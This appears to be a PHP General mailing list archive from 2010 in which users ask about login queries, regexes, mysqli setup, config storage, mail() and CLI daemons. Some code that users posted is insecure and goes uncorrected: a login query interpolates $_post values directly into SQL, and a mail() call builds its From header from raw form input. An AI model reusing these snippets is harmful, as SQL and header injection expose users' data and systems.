2011-01-18 Thread Simon J Welsh
On 19/01/2011, at 6:49 AM, Donovan Brooke wrote:

> Hello,
> 
> I warned the list that I may have questions! ;-)
> 
> ...building a simple cookie-based log-in system, and have
> narrowed an error to this below: (sorry for email line breaks, if any)
> 
> ---Start---
>$query = "SELECT u_id FROM cms_users WHERE u_name = $_post['f_user'] AND 
> u_pass = $_post['f_pass']";

Array indices either need to be accessed without quotes for the key, or by 
enclosing the variable in curly braces.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Regex for telephone numbers

2010-12-29 Thread Simon J Welsh
On 30/12/2010, at 1:12 PM, Ethan Rosenberg wrote:

> Dear List -
> 
> Thank you for all your help in the past.
> 
> Here is another one
> 
> I would like to have a regex  which would validate that a telephone number is 
> in the format xxx-xxx-.
> 
> Thanks.
> 
> Ethan
> 
> MySQL 5.1  PHP 5  Linux [Debian (sid)] 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

\d{3}-\d{3}-\d{4}

Also, have a look at the phoneNumber method in the relevant Validate PEAR 
package: http://pear.php.net/packages.php?catpid=50&catname=Validate

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] How to define a data range for graphing?

2010-12-17 Thread Simon J Welsh
On 18/12/2010, at 8:45 AM, Brian Dunning wrote:

> Hey all -
> 
> I'm trying to provide reporting to users of our widget. Some may get 0 to 5 
> hits a day; others may get up to 10,000 hits a day. I need to define the 
> range of the graph (using one of Google's). If their max day is 7, I'd like 
> the graph to go from 0 to 10. If their max day is 5678, I'd probably like it 
> to go from 0 to 6000. I'm guessing the way to do this is with a ceiling 
> function?
> 
> - Brian
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

Personally, I'd use something like:

if($hits < 10) {
$top = 10;
} else {
$top = ($hits[0] + 1) * pow(10, strlen($hits) - 1);
}

Basically, add one to the first digit and make the rest of the digits 0. 
Depending on how you want to handle the cases ending in 0s, you may want an 
extra check in there.

General disclaimer about code typed directly into mail client.

Happy Saturday :)
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP loop to issue sql insert

2010-11-14 Thread Simon J Welsh
On 15/11/2010, at 12:47 PM, Rick Dwyer wrote:

> Hello List.
> 
> I have a sql command that counts, groups and sorts data from a table.  I need 
> to insert the results of that sql command into different table.
> 
> My sql SELECT looks like  this:
> 
> select count(*) as count, searchkeywords from searchtable group by 
> searchkeywords order by count desc;
> 
> and returns records like this:
> 
> 578   green
> 254   blue
> 253   red
> 253   yellow
> 118   orange
>  etc.
> 
> My PHP looks like this so far:
> 
> $sql = "select count(*) as count, searchkeywords from searchtable group by 
> searchkeywords order by count desc";
> $result = @mysql_query($sql,$connection) or die("Couldn't execute checkcat 
> query");
> $num = mysql_num_rows($result);
> echo $num;
> 
> 
> The echo is of course returning the total number of records not data as 
> listed above.
> 
> I know a WHILE statement is to be used here, but can't get it to work.
> 
> How do I loop through the above found data, inserting each value as like this:
> 
> insert into mytable (count, color) values ("578", "green");
> insert into mytable (count, color) values ("254", "blue");
> ...etc
> 
> 
> 
> Thanks,
> 
> 
> --Rick

Personally I'll get MySQL to do it for me using: insert into mytable (count, 
color) select count(*) as count, searchkeywords from searchtable group by 
searchkeywords order by count desc (see 
http://dev.mysql.com/doc/refman/5.1/en/insert-select.html for more information 
on INSERT ... SELECT)

Otherwise, you'll want to use mysql_fetch_assoc($result). Examples and 
information can be found at http://php.net/mysql_fetch_assoc
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Application settings, configuration, and preferences.

2010-10-27 Thread J Ravi Menon
On Wed, Oct 27, 2010 at 11:39 AM, J Ravi Menon  wrote:
> I am partial to the filesystem but I can see scenarios where the db
> approach might be useful (single point of control) with good caching
> strategy using apc or other mechanisms.
>
> One approach I have followed is that if the config. field and values
> are simple key-value pairs, you could store them in a dedicated conf
> file and have it included in the main apache conf file (Include
> directive). This way, all the configs are accessible via $_SERVER. The
> separate conf file can be checked in svn, pushed separately as part of
> release process etc...  The same approach also works in standalone php
> cli scripts via a shell wrapper - e.g.:
>
> #!/bin/bash
> .
> # list fields directly here or load them separately - e.g:
> #  . /path/to/some_file.conf
> export FIELD1="foo"
> export FIELD2 ="bar"
>
> # Note: values can have some structure too
> export FIELD3="abc,cde,fgh"
> .
> .
> /usr/bin/php some_script.php
>
> You could also use the php ini style confs:
>
> http://php.net/manual/en/function.parse-ini-file.php
>
> In the $_SERVER approach above, the parsing is done at start-up, so
> there is no setup cost at every request. For the ini or xml parsing
> approach, you may need to cache the result if this parsing cost needs
> to be avoided on every request.
>
> Ravi
>
>
>
> On Wed, Oct 27, 2010 at 10:17 AM, Michael Shadle  wrote:
>> I find json to be the most ideal data exchange format but using it for 
>> configuration files one may edit by hand is horrible. XML, ini or yaml would 
>> be better. I still prefer XML. Albeit verbose it is the easiest to read and 
>> easy to validate against.
>>
>> On Oct 27, 2010, at 10:12 AM, "Bob McConnell"  wrote:
>>
>>> From: Ken Guest
>>>
>>>> On Wed, Oct 27, 2010 at 5:27 PM,  wrote:
>>>>> Recently we had a discussion about weather our code should be
>>> configured
>>>>> using files or a DB back-end.  As this topic effects nearly every
>>>>> development team I was wondering if there shouldn't be a common
>>> library
>>>>> that deals with all of these issues.
>>>>>
>>>>> We came to the conclusion that either should work, but our project
>>> must
>>>>> work on systems that would not have an SQLDB installed.  There fore
>>> it
>>>>> must be configured using files as supporting both would be a waste of
>>>>> our development time.
>>>>>
>>>>> Looking around for a solution I came across an extension to getopt
>>> that
>>>>> read command line parameters from a file, essentially emulating "exec
>>>>> $(cat);".  As this did allow configuration from either the command
>>> line
>>>>> or a file it's a good start.  However we are specificually looking
>>> for
>>>>> something that would accept configuration from a file or a DB,
>>> command
>>>>> line options are not important.  Though a great solution would take
>>>>> configuration from anywhere.
>>>>>
>>>>> A full featured solution would also support containing user
>>> preferences
>>>>> and administrative settings.  Allowing any of these to come from
>>> almost
>>>>> anywhere.  Here is how an example deployment might work.  As this
>>> would
>>>>> be a programming tool the user would be an administrator installing
>>> and
>>>>> configuring the software.
>>>>>
>>>>> Some configuration information contained in php should be extensible
>>> so
>>>>> that all the configuration could be done there.  In this case
>>> settings
>>>>> and user preferences would be read-only, configuration information is
>>>>> always read-only.  This would usually specify a config file to be
>>>>> located in the same folder or a subfolder.
>>>>>
>>>>> This configuration file would have a default format that is
>>> configurable
>>>>> in the php.  Would be one of PHP, XML, bind, apache, and several
>>> other
>>>>> config file formats.  This file would contain information on where
>>>>> settings and preferences could be written to, either another
>>>>> configuration file some where in /var or connection information for a
>>> DB.
>>>>>
>>>>> From an applicat

Re: [PHP] Application settings, configuration, and preferences.

2010-10-27 Thread J Ravi Menon
I am partial to the filesystem but I can see scenarios where the db
approach might be useful (single point of control) with good caching
strategy using apc or other mechanisms.

One approach I have followed is that if the config. field and values
are simple key-value pairs, you could store them in a dedicated conf
file and have it included in the main apache conf file (Include
directive). This way, all the configs are accessible via $_SERVER. The
separate conf file can be checked in svn, pushed separately as part of
release process etc...  The same approach also works in standalone php
cli scripts via a shell wrapper - e.g.:

#!/bin/bash
.
# list fields directly here or load them separately - e.g:
#  . /path/to/some_file.conf
export FIELD1="foo"
export FIELD2 ="bar"

# Note: values can have some structure too
export FIELD3="abc,cde,fgh"
.
.
/usr/bin/php some_script.php

You could also use the php ini style confs:

http://php.net/manual/en/function.parse-ini-file.php

In the $_SERVER approach above, the parsing is done at start-up, so
there is no setup cost at every request. For the ini or xml parsing
approach, you may need to cache the result if this parsing cost needs
to be avoided on every request.

Ravi



On Wed, Oct 27, 2010 at 10:17 AM, Michael Shadle  wrote:
> I find json to be the most ideal data exchange format but using it for 
> configuration files one may edit by hand is horrible. XML, ini or yaml would 
> be better. I still prefer XML. Albeit verbose it is the easiest to read and 
> easy to validate against.
>
> On Oct 27, 2010, at 10:12 AM, "Bob McConnell"  wrote:
>
>> From: Ken Guest
>>
>>> On Wed, Oct 27, 2010 at 5:27 PM,  wrote:
 Recently we had a discussion about weather our code should be
>> configured
 using files or a DB back-end.  As this topic effects nearly every
 development team I was wondering if there shouldn't be a common
>> library
 that deals with all of these issues.

 We came to the conclusion that either should work, but our project
>> must
 work on systems that would not have an SQLDB installed.  There fore
>> it
 must be configured using files as supporting both would be a waste of
 our development time.

 Looking around for a solution I came across an extension to getopt
>> that
 read command line parameters from a file, essentially emulating "exec
 $(cat);".  As this did allow configuration from either the command
>> line
 or a file it's a good start.  However we are specificually looking
>> for
 something that would accept configuration from a file or a DB,
>> command
 line options are not important.  Though a great solution would take
 configuration from anywhere.

 A full featured solution would also support containing user
>> preferences
 and administrative settings.  Allowing any of these to come from
>> almost
 anywhere.  Here is how an example deployment might work.  As this
>> would
 be a programming tool the user would be an administrator installing
>> and
 configuring the software.

 Some configuration information contained in php should be extensible
>> so
 that all the configuration could be done there.  In this case
>> settings
 and user preferences would be read-only, configuration information is
 always read-only.  This would usually specify a config file to be
 located in the same folder or a subfolder.

 This configuration file would have a default format that is
>> configurable
 in the php.  Would be one of PHP, XML, bind, apache, and several
>> other
 config file formats.  This file would contain information on where
 settings and preferences could be written to, either another
 configuration file some where in /var or connection information for a
>> DB.

 From an application developers stand point this should all be as
 difficult as getopt to setup, design decisions like what format the
 config file is in should be left up to the admin installing the
 software.  The developer need only be concerned with defining the
>> values
 stored, there type, and other properties.

 Does anything like this exist?  This seams like an essential piece of
 code that is re-invented for every project.

>>>
>>> PEAR's Config package sounds like a good match for what you are
>> looking for.
>>> It parses and outputs various formats and edits existing config files
>>>
>>> http://pear.php.net/package/Config
>>>
>>> There's a brief intro to what it can do at
>>> http://pear.php.net/manual/en/package.configuration.config.intro.php
>>>
>>> I have to admit I am somewhat biased as I'm currently on the PEAR
>> Group
>>> (read 'committee') - but I'd be surprised if there's not a Zend or
>>> ezComponents/zetaComponents equivalent. I also have to admit there are
>> some
>>> outstanding issues that need to be addressed for PEAR's Config package
>> - the
>>> good news is someone has volunteered to resolve 

Re: [PHP] Model View Concepts

2010-10-25 Thread J Ravi Menon
On Fri, Oct 22, 2010 at 3:03 AM, Ashley Sheridan
 wrote:
> On Fri, 2010-10-22 at 10:16 +0200, Sebastian Detert wrote:
>
>> Hi all,
>>
>> I'm currently searching for any code snippets, tutorials, howtos,
>> concepts which explain different ways to collect all type of data/input
>> (i.e. inside a class, xml, json string whatever) and create independent
>> html files (i.e. different designs), xml files, pdf files, etc. out of
>> that pool of data. Do you have any urls or own experience you could share?
>>
>> Thanks,
>> Sebastian
>>
>
>
> How about looking into using a framework like CodeIgniter? I know I plug
> it a little bit on this list, but of all the frameworks I've used, I've
> found it the easiest to get running from scratch, and can be the
> quickest to get working for someone new to frameworks.
>
> Basically, it handles the way bothersome stuff with pulling in various
> models etc for a controller, and lets you get on with actually building
> the code that makes the website work.
>
> Thanks,
> Ash
> http://www.ashleysheridan.co.uk
>
>
>
One MVC framework I have used recently is Kohana:

http://docs.kohanaphp.com/

See links on models, views etc.. It has a OOP flavor, and considered
fairly lightweight. I have written my own simplistic MVC framework
which is more efficient but definitely not as feature rich as Kohana.
There are good hooks for db handling (which will do input validation,
escaping etc..).

Ravi

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Zip files: generate text file in archive on the fly

2010-10-17 Thread Simon J Welsh
Have you considered writing to a temporary file?
On 18/10/2010, at 11:55 AM, Dotan Cohen wrote:

> I need to provide a download of a zip archive containing three files.
> This is fairly straightforward in PHP so long as one is working with
> files that already exist. However, I need to customise one of the
> files (a simple text file) with the user name and other info before
> zipping. I see no mention of this in the fine manual, and even
> googling has led me nowhere. Ideas? Am I missing something obvious?
> 
> Thanks!
> 
> -- 
> Dotan Cohen
> 
> http://gibberish.co.il
> http://what-is-what.com
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] odd while behavior...

2010-10-16 Thread Simon J Welsh
This is because of your mktime() call. You're trying to get the zeroth day of 
the month, which is the last day of the preceding month. Using mktime(0, 0, 0, 
$i, 1) instead should give you the desired results, assuming you do start at 1, 
and not 0 as you have in your code.
---
Simon Welsh

On 17/10/2010, at 4:12, Jason Pruim  wrote:

> Okay so I'm just playing around with some stuff trying to learn more and 
> expand my knowledge and I ran into something I don't understand... Take the 
> following code:
> 
>  
> echo "";
> $i ="0";
>while($i <="12") {
> 
>$dateformat = date("M", mktime(0,0,0, $i,0,0));
>$month = mktime(0,0,0, $i,0,0);
>//echo date("M", mktime(0,0,0, $i,0,0));
>//echo "inside while";
>echo <<{$dateformat} {$i}
> HTML;
>$i++;
>}
> echo "";
> 
> ?>
> 
> which does display a select drop down box with the month's in it... But on my 
> test server it starts the display at december... With setting $i = "1" i 
> would have thought it should start at january?
> 
> Any ideas on what I missed? :)
> 
> 
> Thanks for looking! :)
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: RES: [PHP] Class mysqli not found

2010-10-06 Thread Simon J Welsh
http://php.net/manual/en/class.mysqli.php definitely says MySQLi is a class.

It looks like PHP was complied without MySQLi support. Does running a phpinfo() 
show the MySQLi module?
On 7/10/2010, at 9:33 AM, Alejandro Michelin Salomon wrote:

> Sueandant :
> 
> mysqli is set of functions not a class. The name to connect is mysqli_connect
> /**
> *
> *
> * @version $Id$
> * @copyright 2010
> */
> $mysqli = mysqli_connect ("localhost", "root", "woodcote", "testDB");
> 
> if (mysqli_connect_errno()) {
> printf("Connect failed: %s\n", mysqli_connect_error());
> exit();
> } else {
> printf("Host information: %s\n", mysqli_get_host_info($mysqli));
> }
> 
> 
> Try adodb lib for php ( http://adodb.sourceforge.net/ ), is great layer on 
> top of php db functions.
> 
> Alejandro M.S.
> 
> -Mensagem original-
> De: sueandant [mailto:hollandsath...@tiscali.co.uk] 
> Enviada em: quarta-feira, 6 de outubro de 2010 17:27
> Para: sstap...@mnsi.net
> Cc: PHP
> Assunto: Re: [PHP] Class mysqli not found
> 
> Thanks Steve.   Here's the php file:
> 
>  
> /**
> *
> *
> * @version $Id$
> * @copyright 2010
> */
> $mysqli = new mysqli("localhost", "root", "woodcote", "testDB");
> 
> if (mysqli_connect_errno()) {
> printf("Connect failed: %s\n", mysqli_connect_error());
> exit();
> } else {
> printf("Host information: %s\n", mysqli_get_host_info($mysqli));
> }
> 
> ?>
> 
> When I run this small program I get a Fatal Error: Class mysqli not found 
> error message.
> 
> 
> - Original Message - 
> From: "Steve Staples" 
> To: "sueandant" 
> Cc: "PHP" 
> Sent: Wednesday, October 06, 2010 9:09 PM
> Subject: Re: [PHP] Class mysqli not found
> 
> 
>> On Wed, 2010-10-06 at 21:00 +0100, sueandant wrote:
>>> I'm still fighting a losing battle in my attempts to get PHP speak to 
>>> mysqli.   I can access MySql via the prompt. Apache and PHP are installed 
>>> and working.   In Apache's config file PHPIniDir is set to "C:\php", 
>>> which is where I unzipped the binary download files, and set LoadModule 
>>> php5_module C:\php\php5apache2_2.dll.   In php.ini I have uncommented the 
>>> mysql.dll and mysqli.dll extensions and set extension_dir = 
>>> "C:\php\ext\".   I have edited the environment variables to include 
>>> C:\php  and C:php\ext.
>>> 
>>> I am running Vista Home Premium 32 bit with SP2, Apache 2.2, PHP 5.3.3 
>>> and MySql Server 5.1.
>>> 
>>> What have I missed?
>> 
>> How are you connecting to the mysql?  What does your connection string
>> look like from your php file?  Can you cut and paste it here for us to
>> trouble shoot (if it is the apache->php->mysql connection problem)
>> 
>> 
>> Steve
>> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Email Question

2010-09-30 Thread J Ravi Menon
On Wed, Sep 29, 2010 at 1:37 PM, Joe Jackson  wrote:
> Hi
>
> I am trying the following snippet as Bostjan  suggested, and an email is
> getting sent when I submit the form however in the body of the email I am
> getting none of the form data in the body of the email.  All I am getting is
> the letter 'z' ?  Also in the from field of the email this is showing as my
> email address and not the email address of the user who has sent the form
>
> Any ideas on where I am going wrong with this snippet?  Any advice would be
> much appreciated
>
> $msgContent = "Name: ". $values['name'] ."\n";
> $msgContent .= "Address: ". $values['address'] ."\n";
> $msgContent .= "Telephone: ". $values['telephone'] ."\n";
> $msgContent .= "Email Address: ". $values['emailaddress'] ."\n";
> $msgContent .= "Message: ". $values['message'] ."\n";
>
> function ProcessForm($values)
> {
>     mail('myemail:domain.com', 'Website Enquiry', $msgContent, "From:
> \"{$values['name']}\" <{$values['emailaddress']}>");
>
>  // Replace with actual page or redirect :P
>     echo "Thank you!Thank
> you!";

Not sure if it it is a typo above, are you actually passing
$msgContent in the function above? If it is a global variable, you
would need to add a 'global' declaration:

function ProcessForm($values)
{
   global $msgContent;

mail('myemail:domain.com', 'Website Enquiry', $msgContent, "From:
\"{$values['name']}\" <{$values['emailaddress']}>\r\n");
.
.
.
}

Also try adding CRLF sequence at the end of the header line as shown above.

Ravi

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Email Question

2010-09-21 Thread J Ravi Menon
Just on this topic, I found swiftmailer library to be really useful
esp. in dealing with 'template' emails with custom variables per
recipient:

http://swiftmailer.org/

The e.g. on email template processing:

http://swiftmailer.org/docs/decorator-plugin-howto

There are batchSend() functionalities, ability to compose various mime
type emails etc...

Ravi

On Mon, Sep 20, 2010 at 8:20 AM, chris h  wrote:
>> Ignore the other parameters unless you are very familiar with RFCs 2821,
>> 2822 and their associated RFCs
>>
>
>
> I would advise against ignoring the other parameters.  Doing so will pretty
> much guarantee having your email end up in SPAM.  Instead look up the
> examples in the docs, or better yet use something like phpmailer as Tom
> suggested.
>
>
> Chris.
>
>
> On Sun, Sep 19, 2010 at 6:37 PM, TR Shaw  wrote:
>
>>
>> On Sep 19, 2010, at 6:00 PM, Joe Jackson wrote:
>>
>> > Hi
>> >
>> > Sorry for the simple question but I am trying to get my head around PHP.
>>  I
>> > have a sample PHP script that I am trying to use to send a php powered
>> email
>> > message.  The snippet of code is shown below
>> >
>> >    mail('em...@address.com', 'Subject', $values['message'], "From:
>> > \"{$values['name']}\" <{$values['emailaddress']}>");
>> >
>> > This works fine, but how can I add in other fields to the email that is
>> > recieved?
>> >
>> > For example in the form there are fields called, 'emailaddress',
>> > 'telephone', 'address' and 'name' which I need to add into the form along
>> > with the message field
>> >
>> > Also with the formatting how can I change the format of the email to
>> >
>> > Name: $values['name'],
>> > Address: etc
>> > Message:
>> >
>>
>> Joe
>>
>> The mail command lets you send mail (an RFC2821 envelop). The function is:
>>
>> bool mail ( string $to , string $subject , string $message [, string
>> $additional_headers [, string$additional_parameters ]] )
>>
>> $to is where you want it to go
>> $subject is whatever you want the subject to be
>> $message is the information you want to send
>
> Ignore the other parameters unless you are very familiar with RFCs 2821,
>> 2822 and their associated RFCs
>
>
>> So if you want to send info from a form you might want to roll it up in xml
>> and send it via the message part. when you receive it you can easily decode
>> it. If you don't want to do that put it in a format that you can easily
>> decode on the receiving end.
>>
>> Basically "mail" is a way to deliver information in the $message body. How
>> you format the information there is up to you. However, depending on your
>> system's config you are probably constrained to placing only 7bit ascii in
>> the $message body.
>>
>> You might also move away from the mail function and look at phpmailer at
>> sf.net if you need more complex capabilities.
>>
>> Tom
>>
>>
>>
>>
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Removing empty paragraphs from HTML file using simple_html_dom.php

2010-09-18 Thread Simon J Welsh

On 18/09/2010, at 6:21 PM, Geoffrey van Wyk wrote:

> Hi All,
> 
> I want to remove empty paragraphs from an HTML document using 
> simple_html_dom.php. I know how to do it using the DOMDocument class, but, 
> because the HTML files I work with are prepared in MS Word, the DOMDocument's 
> loadHTMLFile() function gives this exception "Namespaces are not defined".
> 
> This is the code I use with the DOMDocument object for HTML files not 
> prepared in MS Word:
> 
>  /* Using the DOMDocument class */
> 
> /* Create a new DOMDocument object. */
> $html = new DOMDocument("1.0", "UTF-8");
> 
> /* Load HTML code from an HTML file into the DOMDocument. */
> $html->loadHTMLFile("HTML File With Empty Paragraphs.html");
> 
> /* Assign all the  elements into the $pars DOMNodeList object. */
> $pars = $html->getElementsByTagName("p");
> 
> echo "The initial number of paragraphs is " . $pars->length . ".";
> 
> /* The trim() function is used to remove leading and trailing spaces as well 
> as
> * newline characters. */
> for ($i = 0; $i < $pars->length; $i++){
>if (trim($pars->item($i)->textContent == "")){
>$pars->item($i)->parentNode->removeChild($pars->item($i));
>$i--;
>}
> }
> 
> echo "The final number of paragraphs is " . $pars->length . ".";
> 
> // Write the HTML code back into an HTML file.
> $html->saveHTMLFile("HTML File WithOut Empty Paragraphs.html");
> ?>
> 
> This is the code I use with the simple_html_dom.php module for HTML files 
> prepared in MS Word:
> 
>  /* Using simple_html_dom.php */
> 
> include("simple_html_dom.php");
> 
> $html = file_get_html("HTML File With Empty Paragraphs.html");
> 
> $pars = $html->find("p");
> 
> for ($i = 0; $i < count($pars); $i++) {
>if (trim($pars[$i]->plaintext == "")) {
>unset($pars[$i]);
>$i--;
>}
> }
> 
> $html->save("HTML File without Empty Paragraphs.html");
> ?>
> 
> It is almost the same, except that that the $pars variable is a DOMNodeList 
> when using DOMDocument and an array when using simple_html_dom.php. But this 
> code does not work. First it runs for two minutes and then reports these 
> errors: "Undefined offset: 1"  and "Trying to get property of nonobject" for 
> this line:  "if (trim($pars[$i]->plaintext == "")) {".
> 
> Does anyone know how I can fix this?
> 
> Thank you.
> 
> Geoffrey van Wyk
> 

Personally, I'd just use regex to do it. Something like 
preg_replace('#]*?>\s*#m', '', $html) should do it.

Otherwise, you've got trim($pars[$i]->plaintext == "") instead of 
trim($pars[$i]->plaintext) == "".

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php cli question

2010-09-15 Thread J Ravi Menon
Thanks Bostjan for the suggestion. I did raise the issue and here is the reply:

http://news.php.net/php.internals/49672

Thx,
Ravi


On Wed, Sep 15, 2010 at 2:38 AM, Bostjan Skufca  wrote:
> Here are the results I got when question of migration from apache to nginx
> was brought up:
> http://blog.a2o.si/2009/06/24/apache-mod_php-compared-to-nginx-php-fpm/
> (BTW there is some FPM in main PHP distribution now)
>
> As for resource management, I recommend looking at php sources
> (Zend/zend_alloca.c:zend_mm_shutdown() specifically) and building a custom
> extension that frees discarded memory resources on your request or timer or
> sth else. Not sure if it is possible like that but this is just a
> suggestion, don't quote me on that :)
> Also, for such questions I recommend you to join php-internals mailing list,
> it seems more appropriate.
>
> b.
>
>
> On 15 September 2010 04:19, J Ravi Menon  wrote:
>>
>> On Tue, Sep 14, 2010 at 1:15 PM, Per Jessen  wrote:
>> > J Ravi Menon wrote:
>> >
>> >> On Tue, Sep 14, 2010 at 12:43 AM, Per Jessen  wrote:
>> >>> J Ravi Menon wrote:
>> >>>
>> >>>> Few questions:
>> >>>>
>> >>>> 1) Does opcode cache really matter in such cli-based daemons? As
>> >>>> 'SomeClass' is instantiated at every loop, I am assuming it is only
>> >>>> compiled once as it has already been 'seen'.
>> >>>
>> >>> Yup.
>> >>
>> >> Just to clarify, you mean we don't need the op-code cache here right?
>> >
>> > That is correct.
>> >
>> >>>> 2) What about garbage collection? In a standard apache-mod-php
>> >>>> setup, we rely on the end of a request-cycle to free up resources -
>> >>>> close file descriptiors, free up memory etc..
>> >>>> I am assuming in the aforesaid standalone daemon case, we would
>> >>>> have to do this manually?
>> >>>
>> >>> Yes.
>> >>
>> >> So 'unset($some_big_array)'  or 'unset($some_big_object)' etc.. is the
>> >> right way to go for non-resource based items? i.e. it needs to be
>> >> explicitly done?
>> >
>> > It's not quite like C - if you reassign something, the previous contents
>> > are automagically freed.  I use unset() if I know it could be a while
>> > (hours) before it'll likely be reassigned, but it won't be used in the
>> > meantime.
>> >
>>
>> Thanks Per for clarifying this for me. Now on my follow up question:
>>
>> [Note: I think it is related to the issues discussed above hence
>> keeping it on this thread but if I am violating any guidelines here,
>> do let me know]
>>
>> One reason the aforesaid questions got triggered was that in our
>> company right now, there is a big discussion on moving away from
>> apache+mod_php solution to nginx+fast-cgi based model for handling all
>> php-based services. The move seems to be more based some anecdotal
>> observations and possibly not based on a typical php-based app (i.e.
>> the php script involved was trivial one acting as some proxy to
>> another backend service).
>>
>> I have written fast-cgi servers in the past in C++, and I am aware how
>> the apahce<>fast-cgi-servers work (in unix socket setups).  All
>> our php apps are written with apache+mod_php in mind (no explicit
>> resource mgmt ), so this was a concern to me.
>>
>> If the same scripts now need to run 'forever' as a fastcgi server, are
>> we forced to do such manual resource mgmt? Or are there solutions here
>> that work just as in mod_php?
>>
>> This reminded me of the cli daemons that I had written earlier where
>> such manual cleanups were done, and hence my doubts on this
>> nginx+fast-cgi approach.
>>
>> thx,
>> Ravi
>>
>>
>> >
>> >
>> > --
>> > Per Jessen, Zürich (14.6°C)
>> >
>> >
>> > --
>> > PHP General Mailing List (http://www.php.net/)
>> > To unsubscribe, visit: http://www.php.net/unsub.php
>> >
>> >
>>
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>>
>
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php cli question

2010-09-14 Thread J Ravi Menon
On Tue, Sep 14, 2010 at 1:15 PM, Per Jessen  wrote:
> J Ravi Menon wrote:
>
>> On Tue, Sep 14, 2010 at 12:43 AM, Per Jessen  wrote:
>>> J Ravi Menon wrote:
>>>
>>>> Few questions:
>>>>
>>>> 1) Does opcode cache really matter in such cli-based daemons? As
>>>> 'SomeClass' is instantiated at every loop, I am assuming it is only
>>>> compiled once as it has already been 'seen'.
>>>
>>> Yup.
>>
>> Just to clarify, you mean we don't need the op-code cache here right?
>
> That is correct.
>
>>>> 2) What about garbage collection? In a standard apache-mod-php
>>>> setup, we rely on the end of a request-cycle to free up resources -
>>>> close file descriptiors, free up memory etc..
>>>> I am assuming in the aforesaid standalone daemon case, we would
>>>> have to do this manually?
>>>
>>> Yes.
>>
>> So 'unset($some_big_array)'  or 'unset($some_big_object)' etc.. is the
>> right way to go for non-resource based items? i.e. it needs to be
>> explicitly done?
>
> It's not quite like C - if you reassign something, the previous contents
> are automagically freed.  I use unset() if I know it could be a while
> (hours) before it'll likely be reassigned, but it won't be used in the
> meantime.
>

Thanks Per for clarifying this for me. Now on my follow up question:

[Note: I think it is related to the issues discussed above hence
keeping it on this thread but if I am violating any guidelines here,
do let me know]

One reason the aforesaid questions got triggered was that in our
company right now, there is a big discussion on moving away from
apache+mod_php solution to nginx+fast-cgi based model for handling all
php-based services. The move seems to be more based some anecdotal
observations and possibly not based on a typical php-based app (i.e.
the php script involved was trivial one acting as some proxy to
another backend service).

I have written fast-cgi servers in the past in C++, and I am aware how
the apahce<>fast-cgi-servers work (in unix socket setups).  All
our php apps are written with apache+mod_php in mind (no explicit
resource mgmt ), so this was a concern to me.

If the same scripts now need to run 'forever' as a fastcgi server, are
we forced to do such manual resource mgmt? Or are there solutions here
that work just as in mod_php?

This reminded me of the cli daemons that I had written earlier where
such manual cleanups were done, and hence my doubts on this
nginx+fast-cgi approach.

thx,
Ravi


>
>
> --
> Per Jessen, Zürich (14.6°C)
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php cli question

2010-09-14 Thread J Ravi Menon
On Tue, Sep 14, 2010 at 12:43 AM, Per Jessen  wrote:
> J Ravi Menon wrote:
>
>> Few questions:
>>
>> 1) Does opcode cache really matter in such cli-based daemons? As
